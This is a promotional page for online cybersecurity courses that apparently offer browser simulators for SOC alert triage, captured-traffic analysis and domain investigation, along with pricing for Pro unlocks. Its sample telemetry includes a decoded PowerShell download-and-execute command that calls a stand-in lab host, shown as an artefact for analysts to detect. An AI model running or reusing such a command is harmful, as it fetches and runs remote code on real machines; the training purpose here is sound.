Three simulators, one per free course. You work an alert queue, read a night of captured traffic, or run an investigation desk — and find out whether you were right.
The simulators run in the browser. Instant execution, nothing to install.
Endpoint telemetry
10.4.2.21 WINWORD.EXE opened Factura_Marzo.docm
10.4.2.21 WINWORD.EXE -> spawned powershell.exe
10.4.2.21
RuleEDR-PS-ENC-02match
Queue
0 openNo alerts
Decoded command
IEX (New-Object Net.WebClient).DownloadString('https://telemetry-cdn.htk-lab.invalid/a')
Every clock runs while you investigate, and the severity was set by a rule that did not know which machine it was. Deciding where to start is the exercise.
Conversation C-07 · TLS
10.4.2.14 → 91.219.44.8:8443
0 packets
Mean
—
Std dev (σ)
—
Jitter
—
σ = 1.34s. The shaded band is ±1σ — barely a line.
σ = 120s. Bursts while they read, long silences.
It is not that 60 seconds is suspicious. It is that nothing a person does is spaced this evenly.
Subject · domain
portal-htk-acceso.com
You do not have to run every lookup. You have to know which one answers what you are asking.
The simulator's real interface. Working a scenario needs a free account.
Each free course contains a live simulator. You get a scenario for free with your account; the full advanced simulator is included with any course’s 24 € Pro unlock.
SOC Analyst: Your First Shift
A real-time alert queue with severities and an SLA clock that starts when the alert triggers. Open an incident, read the associated telemetry, mail headers, EDR process trees, firewall logs and then act accordingly: is it a true positive or a false positive?. Then escalate or close it. Real SOC analyst workflow.
Networking for Analysts
A night of captured sessions, one flow at a time. Packet sizes, handshakes, DNS queries, beacon intervals. You classify what each flow is — and beaconing malware looks nothing like a software update once you have seen both.
Introduction to Cybersecurity
A subject and a toolbox. WHOIS, DNS records, reverse IP, registration dates. You do not have to run every lookup — you have to know which one answers the question you actually have.
Your verdict is checked against the answer. The paid scenarios are graded on the server, so the answer is not sitting in the page you are reading.
The scenarios share one incident: the same workstation, the same user, the same domain. Do all three and you watch one attack from three desks.
These run in the browser at no infrastructure cost, which is why the sample is genuinely free rather than a trial with a timer.
With a free account
Free
The three free courses in full, and a scenario in each simulator.
Pro unlock · per course
24 €
The full simulator, the real isolated VM, and a human review of your final assignment, which is what earns the certificate.
Buying any course or path includes all three Pro unlocks.
An account takes a minute and costs nothing. If the work is not for you, you will know before you have spent anything.
Create a free account →Free account · no card
